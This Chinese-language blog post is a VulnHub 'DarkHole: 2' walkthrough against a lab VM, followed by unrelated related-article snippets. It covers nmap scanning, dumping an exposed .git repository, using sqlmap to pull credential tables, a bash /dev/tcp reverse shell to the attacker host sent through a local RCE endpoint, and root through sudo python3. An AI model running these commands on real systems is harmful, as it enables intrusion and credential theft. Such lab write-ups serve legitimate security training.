[vulnhub] DarkHole: 2
https://www.vulnhub.com/entry/darkhole-2,740/
端口扫描主机发现
-
探测存活主机,
185是靶机# nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.00036s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00030s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.185 Host is up (0.00028s latency). MAC Address: 00:0C:29:1E:D3:AD (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00033s latency). MAC Address: 00:50:56:FE:CA:7A (VMware) Nmap scan report for 192.168.75.151 -
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:03 CST Nmap scan report for 192.168.75.185 Host is up (0.00040s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:1E:D3:AD (VMware) -
探测服务版本以及系统版本
nmap -sV -sT -O -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:04 CST Nmap scan report for 192.168.75.185 Host is up (0.00067s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:1E:D3:AD (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -
扫描漏洞
nmap -script=vuln -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:05 CST Nmap scan report for 192.168.75.185 Host is up (0.00078s latency).PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-git: | 192.168.75.185:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: i changed login.php file for more secure |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.185 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.75.185:80/login.php | Form id: email |_ Form action: | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /.git/HEAD: Git folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /style/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'找到
.git,可能存在源码泄露
web渗透
-
访问主页,存在登陆页面连接

-
扫描目录
dirsearch -u http://192.168.75.185 -x 403,404 // [18:11:11] 301 - 313B - /js -> http://192.168.75.185/js/ [18:11:13] 301 - 315B - /.git -> http://192.168.75.185/.git/ [18:11:13] 200 - 600B - /.git/ [18:11:13] 200 - 41B - /.git/COMMIT_EDITMSG [18:11:13] 200 - 73B - /.git/description [18:11:13] 200 - 23B - /.git/HEAD [18:11:13] 200 - 674B - /.git/hooks/ [18:11:13] 200 - 130B - /.git/config [18:11:13] 200 - 1KB - /.git/index [18:11:13] 200 - 460B - /.git/info/ [18:11:13] 200 - 240B - /.git/info/exclude [18:11:13] 200 - 485B - /.git/logs/ [18:11:13] 200 - 554B - /.git/logs/HEAD [18:11:13] 301 - 331B - /.git/logs/refs/heads -> http://192.168.75.185/.git/logs/refs/heads/ [18:11:13] 200 - 554B - /.git/logs/refs/heads/master [18:11:13] 200 - 669B - /.git/objects/ [18:11:13] 301 - 325B - /.git/logs/refs -> http://192.168.75.185/.git/logs/refs/ [18:11:13] 200 - 41B - /.git/refs/heads/master [18:11:13] 301 - 326B - /.git/refs/heads -> http://192.168.75.185/.git/refs/heads/ [18:11:13] 301 - 325B - /.git/refs/tags -> http://192.168.75.185/.git/refs/tags/ [18:11:13] 200 - 465B - /.git/refs/ [18:11:13] 200 - 510B - /.idea/ [18:11:13] 301 - 316B - /.idea -> http://192.168.75.185/.idea/ [18:11:14] 200 - 192B - /.idea/modules.xml [18:11:14] 200 - 926B - /.idea/workspace.xml [18:11:32] 301 - 317B - /config -> http://192.168.75.185/config/ [18:11:33] 200 - 457B - /config/ [18:11:34] 200 - 11B - /dashboard.php [18:11:43] 200 - 456B - /js/ [18:11:45] 200 - 484B - /login.php [18:11:46] 302 - 0B - /logout.php -> index.php [18:12:03] 301 - 316B - /style -> http://192.168.75.185/style/- 清一色的
.git可以尝试有没有.git源码泄露 config/应该是配置文件
- 清一色的
-
测试是否存在源码泄露
https://www.freebuf.com/articles/web/346607.html
因为我们找到了
.git,所以我们要针对git-
访问
/.git/config存在该目录,存在源码泄露漏洞[core]repositoryformatversion = 0filemode = falsebare = falselogallrefupdates = truesymlinks = falseignorecase = true -
使用工具
git-dumperhttps://github.com/arthaud/git-dumper
使用
pip install git-dumper安装git-dumper http://192.168.75.185/.git/ ./185将所有源码文件下载下来了,下载到当前目录的
185文件夹里ls -al ./185 // drwxr-xr-x 7 root root 4096 11月 9日 01:25 . drwxr-xr-x 4 root root 4096 11月 9日 01:41 .. drwxr-xr-x 2 root root 4096 11月 9日 01:25 config -rw-r--r-- 1 root root 5578 11月 9日 01:25 dashboard.php drwxr-xr-x 7 root root 4096 11月 9日 01:25 .git drwxr-xr-x 2 root root 4096 11月 9日 01:25 .idea -rw-r--r-- 1 root root 1094 11月 9日 01:25 index.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 js -rw-r--r-- 1 root root 1493 11月 9日 01:25 login.php -rw-r--r-- 1 root root 179 11月 9日 01:25 logout.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 style
-
代码审计
上面已将源码文件下载了,现在开始要代码审计
-
config.php文件,是数据库配置文件,用户名为root但是密码为空<?php $connect = new mysqli("localhost","root","","darkhole_2"); -
login.php<?php session_start(); require 'config/config.php'; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();} } ?>应该是可以绕过的?但是我没有成功
-
进入
185文件夹查看日志(因为文件夹还留着.git,所以可以使用git命令)git log // commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master) Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:14:32 2021 +0300i changed login.php file for more securecommit a4d900a8d85e8938d3601f3cef113ee293028e10 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:06:20 2021 +0300I added login.php file with default credentialscommit aa2a5f3aa15bb402f2b90a07d86af57436d64917 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:02:44 2021 +0300出现三次提交以及作者时间等
-
对比三次提交
git diff#获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.# git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 # git diff a4d900a8d85e8938d3601f3cef113ee293028e10diff --git a/login.php b/login.php index 8a0ff67..0904b19 100644 --- a/login.php +++ b/login.php @@ -2,7 +2,10 @@session_start();require 'config/config.php';if($_SERVER['REQUEST_METHOD'] == 'POST'){ - if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){ + $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); + $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); + $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); + if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();可以看到
- if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321")出现了邮箱以及密码,可以尝试登陆后台
-
使用的得到账号密码登录后台,成功进入
利用后台
-
使用的得到账号密码登录后台,成功进入后台

-
url是/dashboard.php?id=1,像是存在sql注入,可以尝试下/dashboard.php?id=1' # 页面空白 /dashboard.php?id=1'--+ # 成功闭合,存在注入就不使用手工注入了,直接上
sqlmap,记得要想拿到cookie,不然没有登陆状态sqlmap -u http://192.168.75.185/dashboard.php?id=1 --cookie PHPSESSID=n22sg8e16sjbgs2c7g7kffofmf -batch爆出两张表
users以及ssh,ssh应该是能使用ssh登录的用户,两张表的数据我们都dump下# users +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | id | email | address | password | username | contact_number | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | 1 | lush@admin.com | Street, Pincode, Province/State, Country | 321 | Jehad Alqurashiasddasdasdas | 1 | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ # ssh +----+------+--------+ | id | pass | user | +----+------+--------+ | 1 | fool | jehad | +----+------+--------+ -
我们拿
ssh表的用户去登陆下
提权 - jehad用户
-
我们拿
ssh表的用户去登陆下ssh jehad@192.168.75.185 jehad@darkhole:~$获得
shell!!! -
查看权限
jehad@darkhole:~$ whoami jehad jehad@darkhole:~$ id uid=1001(jehad) gid=1001(jehad) groups=1001(jehad) jehad@darkhole:~$ uname -a Linux darkhole 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux -
寻找敏感文件
-
/home/losy目录下存在user.txt是flag文件ehad@darkhole:/home/losy$ cat user.txt DarkHole{'This_is_the_life_man_better_than_a_cruise'} -
寻找SUID文件
jehad@darkhole:/home/losy$ find / -perm -u=s -type f 2>/dev/null 02:06:46 [3/65] /usr/bin/sudo /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/umount /usr/bin/mount /usr/bin/su /usr/bin/at /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine想尝试
snapd提权的,但是版本对不上
-
-
查看
bash历史记录jehad@darkhole:~$ cat .bash_history
发现执行了很多
curl "http://127.0.0.1:9999/?cmd=<命令>"之类的,估计9999端口下是一个能进行RCE的页面 -
我们也尝试执行下
-
先试试
id,发现是losy的权限jehad@darkhole:~$ curl http://127.0.0.1:9999/?cmd=id Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
-
-
获得
losy用户的权限-
跟着反弹shell命令
因为靶机的
nc没有-e参数,只能通过其他方式来反弹shell# 通过shell bash -c 'bash -i >& /dev/tcp/192.168.75.151/1234 0>&1' -
将其进行URl编码
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27 -
构建命令
curl "http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27" -
kali开启监听,执行命令nc -lvp 1234 listening on [any] 1234 ... 192.168.75.185: inverse host lookup failed: Unknown host connect to [192.168.75.151] from (UNKNOWN) [192.168.75.185] 33342 bash: cannot set terminal process group (1215): Inappropriate ioctl for device bash: no job control in this shell losy@darkhole:/opt/web$获得
losy的shell!!!
-
提权 - losy用户
-
和之前一样,我们先查看
bash历史记录
可以找到
losy的密码为gang -
进行
ssh登录,能过得交互性更好的shell -
查看权限
-
SUDO,可以以root权限执行python3,可以提权了```python losy@darkhole:~$ sudo -l [sudo] password for losy: Matching Defaults entries for losy on darkhole:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser losy may run the following commands on darkhole:(root) /usr/bin/python3
-
-
使用
python3提权,使用python生成虚拟终端即可losy@darkhole:~$ sudo /usr/bin/python3 -c "import pty;pty.spawn('/bin/sh')" # whoami root获得
root!!!! -
读取
flag文件# cat root.txt DarkHole{'Legend'}
总结
.git的使用,以及git diff;以及bash_history也可能存在敏感内容;
相关文章:
[vulnhub] DarkHole: 2
https://www.vulnhub.com/entry/darkhole-2,740/ 端口扫描主机发现 探测存活主机,185是靶机 # nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.…...
《XGBoost算法的原理推导》12-2 t轮迭代中对样本i的预测值 公式解析
本文是将文章《XGBoost算法的原理推导》中的公式单独拿出来做一个详细的解析,便于初学者更好的理解。 好的,公式(12-2)表示的是 XGBoost 在第 t t t 轮迭代中对样本 i i i 的预测值。它说明了在第 t t t 轮迭代中,模型的预测是通过累加之前…...
./bin/mindieservice_daemon启动成功
接MindIE大模型测试及报错Fatal Python error: PyThreadState_Get: the function must be called with the GIL held,-CSDN博客经过调整如下红色部分参数,昇腾310P3跑起来了7b模型: rootdev-8242526b-01f2-4a54-b89d-f6d9c57c692d-qjhpf:/home/apulis-de…...
Linux: network: ip link M-DOWN的具体含义是什么?
文章目录 参考简介实例代码解释openstack上的显示如果是在一个interface上建立了vlan参考 https://unix.stackexchange.com/questions/348327/using-ip-what-does-m-down-mean www.policyrouting.org/iproute2.doc.html#ss9.1 简介 是指上一级的接口的状态。 实例 4: ersp…...
Spring中的过滤器和拦截器
Spring中的过滤器和拦截器 一、引言 在Spring框架中,过滤器(Filter)和拦截器(Interceptor)是实现请求处理的两种重要机制。它们都基于AOP(面向切面编程)思想,用于在请求的生命周期…...
leetcode20.括号匹配
题目描述 给定一个只包括 ‘(’,‘)’,‘{’,‘}’,‘[’,‘]’ 的字符串 s ,判断字符串是否有效。 有效字符串需满足: 左括号必须用相同类型的右括号闭合。 左括号必须以正确的顺序闭合。 每个…...
Unity性能优化-具体操作
批量渲染是通过减少CPU向GPU发送渲染命令(DrawCall)的次数,以及减少GPU切换渲染状态的次数,尽量让GPU一次多做一些事情,来提升逻辑线和渲染线的整体效率。 Draw Call性能消耗原因是命令从Runtime到Driver的过程中&…...
【嵌入式开发——ARM】1ARM架构
嵌入式领域,使用ARM架构的芯片公司可不占少数吧,intel的x86架构主要占据PC、服务器市场,ARM架构主要占据移动市场。x86架构和ARM架构不同的主要原因,是背后使用的计算机指令集不同。计算机有自己的语言系统(汇编&#…...
Linux中.NET读取excel组件,不会出现The type initializer for ‘Gdip‘ threw an exception异常
组件,可通过nuget安装,直接搜名字: ExcelDataReader using ConsoleAppReadFileData.Model; using ExcelDataReader; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Task…...
mmclassification的配置文件样本
# 需要修改的参数 img_size 480 class_name [fuqi,ok] num_classes len(class_name) data_root /home/apulis-test/teamdata/yz_dataset/fuqi max_epochs300 val_interval1 train_batch_size 16 val_batch_size 1 load_from "swin_tiny_224_b16x64_300e_imagenet_…...
Java基础——类和对象的定义链表的创建,输出
目录 什么是类? 什么是对象? 如何创建链表? 尾插法: 头插法: 输出链表的长度 输出链表的值 什么是类? 创建Java程序必须创建一个类class. .java程序需要经过javac指令将文件翻译为.class字节码文件,…...
Linux应用项目之量产工具(一)——显示系统
目录 前言 项目特点及介绍 ① 简单易用 ② 软件可配置、易扩展 ③ 纯 C 语言编程 软件总框架 显示系统 1.数据结构抽象 disp_manager.h 2.Framebuffer编程 framebuffer.c 3.显示管理 disp_manager.c 4.单元测试 disp_test.c 顶层目录Makefile 顶层目录Makefil…...
Python小白学习教程从入门到入坑------第二十九课 访问模式(语法进阶)
目录 一、访问模式 1.1 r 1.2 w 1.3 1.3.1 r 1.3.2 w 1.3.3 a 1.4 a 一、访问模式 模式可做操作若文件不存在是否覆盖r只能读报错-r可读可写报错是w只能写创建是w可读可写创建是a只能写创建否,追加写a可读可写创建否,追加写 1.1 r r&…...
使用 PageHelper 在 Spring Boot 项目中实现分页查询
目录 前言1. 项目环境配置1.1 添加 PageHelper 依赖1.2 数据库和 MyBatis 配置 2. 统一的分页响应类3. 使用 PageHelper 实现分页查询3.1 Service 层分页查询实现3.2 PageHelper 分页注意事项 4. 控制层调用示例5. 常见问题与解决方案5.1 java.util.ArrayList cannot be cast t…...
深度学习-张量相关
一. 张量的创建 张量简介 张量是pytorch的基本数据结构 张量,英文为Tensor,是机器学习的基本构建模块,是以数字方式表示数据的形式。 例如,图像可以表示为形状为 [3, 224, 224] 的张量,这意味着 [colour_channels, h…...
电脑提示xinput1_3.dll丢失怎么解决,分享6种有效的解决方法
xinput1_3.dll 是一个动态链接库(DLL)文件,它在Windows操作系统中扮演着重要的角色,特别是在处理游戏控制器和其他输入设备的交互方面。这个文件是Microsoft DirectX软件包的一部分,DirectX是微软公司开发的一个多媒体…...
【计网】数据链路层笔记
【计网】数据链路层 数据链路层概述 数据链路层在网络体系结构中所处的地位 链路、数据链路和帧 链路(Link)是指从一个节点到相邻节点的一段物理线路(有线或无线),而中间没有任何其他的交换节点。 数据链路(Data Link)是基于链路的。当在一条链路上传送数据时&a…...
蓝牙FTP 协议详解及 Android 实现
文章目录 前言一、什么是蓝牙 FTP 协议?二、FTP 的工作流程1.蓝牙设备初始化2. 设备发现与配对3. 建立OBEX FTP 连接4. 文件传输文件上传(通过OBEX PUT命令)文件下载(通过OBEX GET命令) 5. 关闭OBEX会话 三、进阶应用与…...
【前端】Svelte:动画效果
在现代前端开发中,动画效果可以大大提升用户体验,使应用更生动、易用。Svelte 提供了灵活的动画 API,让开发者能够快速实现从简单过渡到复杂动画的各种效果。本文将系统性地介绍 Svelte 的动画功能,并通过多个示例演示如何创建动感…...
2024系统架构师--论基于架构的软件设计方法(ABSD)及应用(论文范文)
题目: 基于架构的软件设计(Architecture-Based Software Design,ABSD)方法以构成软件架构的商业、质量和功能需求等要素来驱动整个软件开发过程。ABSD是一个自顶向下,递归细化的软件开发方法,它以软件系统功能的分解为基础,通过选择架构风格实现质量和商业需求,并强调在架…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
